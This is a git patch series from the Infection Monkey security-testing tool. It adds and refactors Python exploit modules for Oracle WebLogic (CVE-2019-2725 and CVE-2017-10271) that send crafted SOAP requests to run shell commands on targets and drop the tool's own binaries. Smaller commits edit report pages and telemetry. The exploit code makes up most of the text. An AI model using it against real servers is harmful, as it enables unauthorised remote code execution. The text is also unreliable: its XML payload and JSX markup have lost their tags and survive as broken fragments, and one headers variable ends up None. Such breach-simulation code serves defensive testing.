CVE-2019-2725 implemented --- monkey/infection_monkey/exploit/weblogic.py | 130 +++++++++++++++--- .../cc/ui/src/components/pages/ReportPage.js | 13 +- 2 files changed, 115 insertions(+), 28 deletions(-) diff --git a/monkey/infection_monkey/exploit/weblogic.py b/monkey/infection_monkey/exploit/weblogic.py index 4c99f82b9..83439e64f 100644 --- a/monkey/infection_monkey/exploit/weblogic.py +++ b/monkey/infection_monkey/exploit/weblogic.py @@ -14,6 +14,7 @@ from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer import threading import logging import time +import copy __author__ = "VakarisZ" @@ -21,28 +22,28 @@ LOG = logging.getLogger(__name__) # How long server waits for get request in seconds SERVER_TIMEOUT = 4 # How long should be wait after each request in seconds -REQUEST_DELAY = 0.0001 +REQUEST_DELAY = 0.1 # How long to wait for a sign(request from host) that server is vulnerable. In seconds REQUEST_TIMEOUT = 5 # How long to wait for response in exploitation. In seconds EXECUTION_TIMEOUT = 15 -URLS = ["/wls-wsat/CoordinatorPortType", - "/wls-wsat/CoordinatorPortType11", - "/wls-wsat/ParticipantPortType", - "/wls-wsat/ParticipantPortType11", - "/wls-wsat/RegistrationPortTypeRPC", - "/wls-wsat/RegistrationPortTypeRPC11", - "/wls-wsat/RegistrationRequesterPortType", - "/wls-wsat/RegistrationRequesterPortType11"] -# Malicious request's headers: -HEADERS = { - "Content-Type": "text/xml;charset=UTF-8", - "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) " - "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36" - } class WebLogicExploiter(WebRCE): + URLS = ["/wls-wsat/CoordinatorPortType", + "/wls-wsat/CoordinatorPortType11", + "/wls-wsat/ParticipantPortType", + "/wls-wsat/ParticipantPortType11", + "/wls-wsat/RegistrationPortTypeRPC", + "/wls-wsat/RegistrationPortTypeRPC11", + "/wls-wsat/RegistrationRequesterPortType", + "/wls-wsat/RegistrationRequesterPortType11"] + # Malicious request's headers: + HEADERS = { + "Content-Type": "text/xml;charset=UTF-8", + "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) " + "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36" + } _TARGET_OS_TYPE = ['linux', 'windows'] _EXPLOITED_SERVICE = 'Weblogic' @@ -55,19 +56,29 @@ class WebLogicExploiter(WebRCE): exploit_config = super(WebLogicExploiter, self).get_exploit_config() exploit_config['blind_exploit'] = True exploit_config['stop_checking_urls'] = True - exploit_config['url_extensions'] = URLS + exploit_config['url_extensions'] = WebLogicExploiter.URLS return exploit_config + def exploit_host(self): + exploiters = [WebLogic20192725] + for exploiter in exploiters: + if exploiter(self.host).exploit_host(): + return True + if super(WebLogicExploiter, self).exploit_host(): + return True + else: + return False + def exploit(self, url, command): if 'linux' in self.host.os['type']: payload = self.get_exploit_payload('/bin/sh', '-c', command + ' 1> /dev/null 2> /dev/null') else: payload = self.get_exploit_payload('cmd', '/c', command + ' 1> NUL 2> NUL') try: - post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT, verify=False) + post(url, data=payload, headers=WebLogicExploiter.HEADERS, timeout=EXECUTION_TIMEOUT, verify=False) except Exception as e: - print('[!] Connection Error') - print(e) + LOG.error("Connection error: %s" % e) + return False return True @@ -100,7 +111,7 @@ class WebLogicExploiter(WebRCE): def check_if_exploitable_weblogic(self, url, httpd): payload = self.get_test_payload(ip=httpd.local_ip, port=httpd.local_port) try: - post(url, data=payload, headers=HEADERS, timeout=REQUEST_DELAY, verify=False) + post(url, data=payload, headers=WebLogicExploiter.HEADERS, timeout=REQUEST_DELAY, verify=False) except exceptions.ReadTimeout: # Our request will not get response thus we get ReadTimeout error pass @@ -224,3 +235,82 @@ class WebLogicExploiter(WebRCE): def stop(self): self._stopped = True + + +# Exploit based of: +# Andres Rodriguez (acamro) +# https://github.com/rapid7/metasploit-framework/pull/11780 +class WebLogic20192725(WebRCE): + URLS = ["_async/AsyncResponseServiceHttps"] + + _TARGET_OS_TYPE = ['linux', 'windows'] + _EXPLOITED_SERVICE = 'Weblogic' + + def __init__(self, host): + super(WebLogic20192725, self).__init__(host) + + def get_exploit_config(self): + exploit_config = super(WebLogic20192725, self).get_exploit_config() + exploit_config['url_extensions'] = WebLogic20192725.URLS + exploit_config['blind_exploit'] = True + exploit_config['dropper'] = True + return exploit_config + + def exploit(self, url, command): + if 'linux' in self.host.os['type']: + payload = self.get_exploit_payload('/bin/sh', '-c', command) + else: + payload = self.get_exploit_payload('cmd', '/c', command) + try: + resp = post(url, data=payload, headers=WebLogicExploiter.HEADERS, timeout=EXECUTION_TIMEOUT) + return resp + except Exception as e: + LOG.error("Connection error: %s" % e) + return False + + def check_if_exploitable(self, url): + headers = copy.deepcopy(WebLogicExploiter.HEADERS).update({'SOAPAction': ''}) + res = post(url, headers=headers, timeout=EXECUTION_TIMEOUT) + if res.status_code == 500 and "env:Client" in res.text: + return True + else: + return False + + @staticmethod + def get_exploit_payload(cmd_base, cmd_opt, command): + """ + Formats the payload used to exploit weblogic servers + :param cmd_base: What command prompt to use eg. cmd + :param cmd_opt: cmd_base commands parameters. eg. /c (to run command) + :param command: command itself + :return: Formatted payload + """ + empty_payload = ''' + + + xx + xx + + + + + {cmd_base} + + + {cmd_opt} + + + {cmd_payload} + + + + + + + + + + ''' + payload = empty_payload.format(cmd_base=cmd_base, cmd_opt=cmd_opt, cmd_payload=command) + return payload diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js index adc0911d8..40ef7ba7f 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -308,7 +308,7 @@ class ReportPageComponent extends AuthComponent { }).length} threats:
    {this.state.report.overview.issues[this.Issue.STOLEN_SSH_KEYS] ? -
  • Stolen SSH keys are used to exploit other machines.
  • : null } +
  • Stolen SSH keys are used to exploit other machines.
  • : null } {this.state.report.overview.issues[this.Issue.STOLEN_CREDS] ?
  • Stolen credentials are used to exploit other machines.
  • : null} {this.state.report.overview.issues[this.Issue.ELASTIC] ? @@ -889,16 +889,13 @@ class ReportPageComponent extends AuthComponent { generateWebLogicIssue(issue) { return (
  • - Install Oracle - critical patch updates. Or update to the latest version. Vulnerable versions are - 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0. + Update Oracle WebLogic server to the latest supported version. Oracle WebLogic server at {issue.machine} ({issue.ip_address}) is vulnerable to remote code execution attack. + className="label label-info" style={{margin: '2px'}}>{issue.ip_address}) is vulnerable to one of remote code execution attacks.
    - The attack was made possible due to incorrect permission assignment in Oracle Fusion Middleware - (subcomponent: WLS Security). + The attack was made possible due to one of the following vulnerabilities: CVE-2017-10271 or CVE-2019-2725
  • ); From 737c735f8f4a5382c91495f4bb1a4f705560dd3c Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 26 Jun 2019 17:02:44 +0300 Subject: [PATCH 11/15] Updated attack report in pass the hash --- monkey/monkey_island/cc/services/attack/attack_report.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py index 35dd87676..43bdeb411 100644 --- a/monkey/monkey_island/cc/services/attack/attack_report.py +++ b/monkey/monkey_island/cc/services/attack/attack_report.py @@ -1,6 +1,5 @@ import logging -from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110 -from monkey_island.cc.services.attack.attack_telem import AttackTelemService +from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075 from monkey_island.cc.services.attack.attack_config import AttackConfig from monkey_island.cc.database import mongo From e4bb468cc2fabca1b71dcd1b41e0a53141551c8c Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 26 Jun 2019 17:06:35 +0300 Subject: [PATCH 12/15] Updated attack report in powershell --- monkey/monkey_island/cc/services/attack/attack_report.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py index 3fccd3cd9..01990ff78 100644 --- a/monkey/monkey_island/cc/services/attack/attack_report.py +++ b/monkey/monkey_island/cc/services/attack/attack_report.py @@ -1,6 +1,5 @@ import logging -from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075, T1003, T1059 -from monkey_island.cc.services.attack.attack_telem import AttackTelemService +from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075, T1003, T1059, T1086 from monkey_island.cc.services.attack.attack_config import AttackConfig from monkey_island.cc.database import mongo From c5e1b0a93f3a32cd9fbd6236131f3d4d429bce1e Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 1 Jul 2019 13:53:37 +0300 Subject: [PATCH 13/15] WeblogicExploiter class refactored to only handle vulnerability execution. --- monkey/infection_monkey/exploit/weblogic.py | 112 ++++++++++-------- .../cc/services/config_schema.py | 2 +- .../cc/ui/src/components/pages/ReportPage.js | 8 +- 3 files changed, 65 insertions(+), 57 deletions(-) diff --git a/monkey/infection_monkey/exploit/weblogic.py b/monkey/infection_monkey/exploit/weblogic.py index 83439e64f..300f52f0e 100644 --- a/monkey/infection_monkey/exploit/weblogic.py +++ b/monkey/infection_monkey/exploit/weblogic.py @@ -1,3 +1,48 @@ +from __future__ import print_function +import threading +import logging +import time +import copy + +from requests import post, exceptions +from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer + +from infection_monkey.exploit.web_rce import WebRCE +from infection_monkey.exploit import HostExploiter +from infection_monkey.exploit.tools import get_free_tcp_port, get_interface_to_target + + +__author__ = "VakarisZ" + +LOG = logging.getLogger(__name__) +# How long server waits for get request in seconds +SERVER_TIMEOUT = 4 +# How long should we wait after each request in seconds +REQUEST_DELAY = 0.1 +# How long to wait for a sign(request from host) that server is vulnerable. In seconds +REQUEST_TIMEOUT = 5 +# How long to wait for response in exploitation. In seconds +EXECUTION_TIMEOUT = 15 +# Malicious requests' headers: +HEADERS = { + "Content-Type": "text/xml;charset=UTF-8", + "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) " + "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36" +} + + +class WebLogicExploiter(HostExploiter): + + _TARGET_OS_TYPE = ['linux', 'windows'] + _EXPLOITED_SERVICE = 'Weblogic' + + def exploit_host(self): + exploiters = [WebLogic20192725, WebLogic201710271] + for exploiter in exploiters: + if exploiter(self.host).exploit_host(): + return True + + # Exploit based of: # Kevin Kirsche (d3c3pt10n) # https://github.com/kkirsche/CVE-2017-10271 @@ -5,31 +50,7 @@ # Luffin from Github # https://github.com/Luffin/CVE-2017-10271 # CVE: CVE-2017-10271 -from __future__ import print_function -from requests import post, exceptions -from infection_monkey.exploit.web_rce import WebRCE -from infection_monkey.exploit.tools import get_free_tcp_port, get_interface_to_target -from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer - -import threading -import logging -import time -import copy - -__author__ = "VakarisZ" - -LOG = logging.getLogger(__name__) -# How long server waits for get request in seconds -SERVER_TIMEOUT = 4 -# How long should be wait after each request in seconds -REQUEST_DELAY = 0.1 -# How long to wait for a sign(request from host) that server is vulnerable. In seconds -REQUEST_TIMEOUT = 5 -# How long to wait for response in exploitation. In seconds -EXECUTION_TIMEOUT = 15 - - -class WebLogicExploiter(WebRCE): +class WebLogic201710271(WebRCE): URLS = ["/wls-wsat/CoordinatorPortType", "/wls-wsat/CoordinatorPortType11", "/wls-wsat/ParticipantPortType", @@ -38,44 +59,29 @@ class WebLogicExploiter(WebRCE): "/wls-wsat/RegistrationPortTypeRPC11", "/wls-wsat/RegistrationRequesterPortType", "/wls-wsat/RegistrationRequesterPortType11"] - # Malicious request's headers: - HEADERS = { - "Content-Type": "text/xml;charset=UTF-8", - "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) " - "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36" - } - _TARGET_OS_TYPE = ['linux', 'windows'] - _EXPLOITED_SERVICE = 'Weblogic' + + _TARGET_OS_TYPE = WebLogicExploiter._TARGET_OS_TYPE + _EXPLOITED_SERVICE = WebLogicExploiter._EXPLOITED_SERVICE def __init__(self, host): - super(WebLogicExploiter, self).__init__(host, {'linux': '/tmp/monkey.sh', + super(WebLogic201710271, self).__init__(host, {'linux': '/tmp/monkey.sh', 'win32': 'monkey32.exe', 'win64': 'monkey64.exe'}) def get_exploit_config(self): - exploit_config = super(WebLogicExploiter, self).get_exploit_config() + exploit_config = super(WebLogic201710271, self).get_exploit_config() exploit_config['blind_exploit'] = True exploit_config['stop_checking_urls'] = True - exploit_config['url_extensions'] = WebLogicExploiter.URLS + exploit_config['url_extensions'] = WebLogic201710271.URLS return exploit_config - def exploit_host(self): - exploiters = [WebLogic20192725] - for exploiter in exploiters: - if exploiter(self.host).exploit_host(): - return True - if super(WebLogicExploiter, self).exploit_host(): - return True - else: - return False - def exploit(self, url, command): if 'linux' in self.host.os['type']: payload = self.get_exploit_payload('/bin/sh', '-c', command + ' 1> /dev/null 2> /dev/null') else: payload = self.get_exploit_payload('cmd', '/c', command + ' 1> NUL 2> NUL') try: - post(url, data=payload, headers=WebLogicExploiter.HEADERS, timeout=EXECUTION_TIMEOUT, verify=False) + post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT, verify=False) except Exception as e: LOG.error("Connection error: %s" % e) return False @@ -111,7 +117,7 @@ class WebLogicExploiter(WebRCE): def check_if_exploitable_weblogic(self, url, httpd): payload = self.get_test_payload(ip=httpd.local_ip, port=httpd.local_port) try: - post(url, data=payload, headers=WebLogicExploiter.HEADERS, timeout=REQUEST_DELAY, verify=False) + post(url, data=payload, headers=HEADERS, timeout=REQUEST_DELAY, verify=False) except exceptions.ReadTimeout: # Our request will not get response thus we get ReadTimeout error pass @@ -207,6 +213,7 @@ class WebLogicExploiter(WebRCE): Http server built to wait for GET requests. Because oracle web logic vuln is blind, we determine if we can exploit by either getting a GET request from host or not. """ + def __init__(self, local_ip, local_port, lock, max_requests=1): self.local_ip = local_ip self.local_port = local_port @@ -223,6 +230,7 @@ class WebLogicExploiter(WebRCE): def do_GET(): LOG.info('Server received a request from vulnerable machine') self.get_requests += 1 + LOG.info('Server waiting for exploited machine request...') httpd = HTTPServer((self.local_ip, self.local_port), S) httpd.daemon = True @@ -243,8 +251,8 @@ class WebLogicExploiter(WebRCE): class WebLogic20192725(WebRCE): URLS = ["_async/AsyncResponseServiceHttps"] - _TARGET_OS_TYPE = ['linux', 'windows'] - _EXPLOITED_SERVICE = 'Weblogic' + _TARGET_OS_TYPE = WebLogicExploiter._TARGET_OS_TYPE + _EXPLOITED_SERVICE = WebLogicExploiter._EXPLOITED_SERVICE def __init__(self, host): super(WebLogic20192725, self).__init__(host) @@ -262,14 +270,14 @@ class WebLogic20192725(WebRCE): else: payload = self.get_exploit_payload('cmd', '/c', command) try: - resp = post(url, data=payload, headers=WebLogicExploiter.HEADERS, timeout=EXECUTION_TIMEOUT) + resp = post(url, data=payload, headers=HEADERS, timeout=EXECUTION_TIMEOUT) return resp except Exception as e: LOG.error("Connection error: %s" % e) return False def check_if_exploitable(self, url): - headers = copy.deepcopy(WebLogicExploiter.HEADERS).update({'SOAPAction': ''}) + headers = copy.deepcopy(HEADERS).update({'SOAPAction': ''}) res = post(url, headers=headers, timeout=EXECUTION_TIMEOUT) if res.status_code == 500 and "env:Client" in res.text: return True diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index 46129266c..4c4df247e 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -89,7 +89,7 @@ SCHEMA = { "enum": [ "WebLogicExploiter" ], - "title": "Oracle Web Logic Exploiter" + "title": "WebLogic Exploiter" }, { "type": "string", diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js index 40ef7ba7f..52e8cbdfb 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ReportPage.js @@ -343,9 +343,7 @@ class ReportPageComponent extends AuthComponent { href="https://cwiki.apache.org/confluence/display/WW/S2-045"> CVE-2017-5638) : null } {this.state.report.overview.issues[this.Issue.WEBLOGIC] ? -
  • Oracle WebLogic servers are vulnerable to remote code execution. ( - CVE-2017-10271)
  • : null } +
  • Oracle WebLogic servers are susceptible to a remote code execution vulnerability.
  • : null } {this.state.report.overview.issues[this.Issue.HADOOP] ?
  • Hadoop/Yarn servers are vulnerable to remote code execution.
  • : null } {this.state.report.overview.issues[this.Issue.PTH_CRIT_SERVICES_ACCESS] ? @@ -895,7 +893,9 @@ class ReportPageComponent extends AuthComponent { className="label label-info" style={{margin: '2px'}}>{issue.ip_address}) is vulnerable to one of remote code execution attacks.
    - The attack was made possible due to one of the following vulnerabilities: CVE-2017-10271 or CVE-2019-2725 + The attack was made possible due to one of the following vulnerabilities: + CVE-2017-10271 or + CVE-2019-2725 ); From f50bdca80131a9887411437bc6e62884b21f0478 Mon Sep 17 00:00:00 2001 From: itay Date: Sun, 7 Jul 2019 11:14:19 +0300 Subject: [PATCH 14/15] Remove console.log --- .../cc/ui/src/components/attack/techniques/T1059.js | 1 - 1 file changed, 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js index abca8987a..5cc48a4c9 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1059.js @@ -21,7 +21,6 @@ class T1059 extends React.Component { }])}; render() { - console.log(this.props.data); return (
    {this.props.data.message}
    From 6aca7d6f29b77688c39ca4984e840cba18f9d590 Mon Sep 17 00:00:00 2001 From: itay Date: Sun, 7 Jul 2019 12:07:04 +0300 Subject: [PATCH 15/15] PBA telem - Add fallback to ip & hostname collection --- .../infection_monkey/telemetry/post_breach_telem.py | 13 +++++++++++-- 1 file changed, 11 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/telemetry/post_breach_telem.py b/monkey/infection_monkey/telemetry/post_breach_telem.py index 4cb5b50df..e5e443123 100644 --- a/monkey/infection_monkey/telemetry/post_breach_telem.py +++ b/monkey/infection_monkey/telemetry/post_breach_telem.py @@ -16,8 +16,7 @@ class PostBreachTelem(BaseTelem): super(PostBreachTelem, self).__init__() self.pba = pba self.result = result - self.hostname = socket.gethostname() - self.ip = socket.gethostbyname(self.hostname) + self.hostname, self.ip = PostBreachTelem._get_hostname_and_ip() telem_category = 'post_breach' @@ -29,3 +28,13 @@ class PostBreachTelem(BaseTelem): 'hostname': self.hostname, 'ip': self.ip } + + @staticmethod + def _get_hostname_and_ip(): + try: + hostname = socket.gethostname() + ip = socket.gethostbyname(hostname) + except socket.error: + hostname = "Unknown" + ip = "Unknown" + return hostname, ip